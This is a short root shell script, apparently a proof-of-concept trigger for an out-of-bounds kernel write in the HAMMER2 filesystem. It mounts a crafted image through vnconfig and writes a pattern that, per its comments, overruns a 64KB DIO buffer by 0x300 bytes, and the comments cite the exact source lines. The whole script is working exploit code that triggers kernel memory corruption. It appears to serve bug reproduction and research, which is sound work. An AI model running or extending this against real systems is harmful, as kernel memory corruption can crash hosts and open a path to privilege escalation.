#!/bin/sh
# DF-2616 variant B OOB-WRITE trigger -- run on the GUEST as root.
# Write 1KB of pattern to /mnt/h2/f1 at offset 0.  The crossed chain
# (data_off = 0x1c0ff0a, radix 10 valid, misaligned + window-crossing,
# methods=CHECK_NONE so hammer2_chain_modify takes the overwrite-in-place
# path at hammer2_chain.c:1504-1516) keeps the crossed data_off, and
# hammer2_write_bp() (hammer2_strategy.c:1310-1356) bcopy()s the pattern
# to bp->b_data + 0xFF00 -- the last 0x300 bytes land past the end of the
# 64KB DIO buffer.  The first 0x100 bytes land in-window at image offset
# 0x1c0ff00 (forensic proof on the flushed image).
(printf 'DF2616OOBWRITE'; yes DF2616OOBWRITE | head -c 4096) | head -c 1024 > /tmp/pat.bin
md5 /tmp/pat.bin
vnconfig -u vn0 2>/dev/null
vnconfig -c vn0 /tmp/h2_B_data_cross.img || exit 1
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2 || { echo "MOUNT FAILED"; exit 1; }
echo "=== write pattern to f1 ==="
dd if=/tmp/pat.bin of=/mnt/h2/f1 bs=1024 count=1 conv=notrunc 2>&1
echo "DD_RC=$?"
sync
sleep 1
echo "=== read back (logical-buffer cached; for the record) ==="
dd if=/mnt/h2/f1 bs=64 count=8 2>/dev/null | hexdump -C | tail -6
umount /mnt/h2
echo "UMOUNT_RC=$?"
vnconfig -u vn0
echo "=== DONE (inspect image at 0x1c0ff00 for in-window half of OOB write) ==="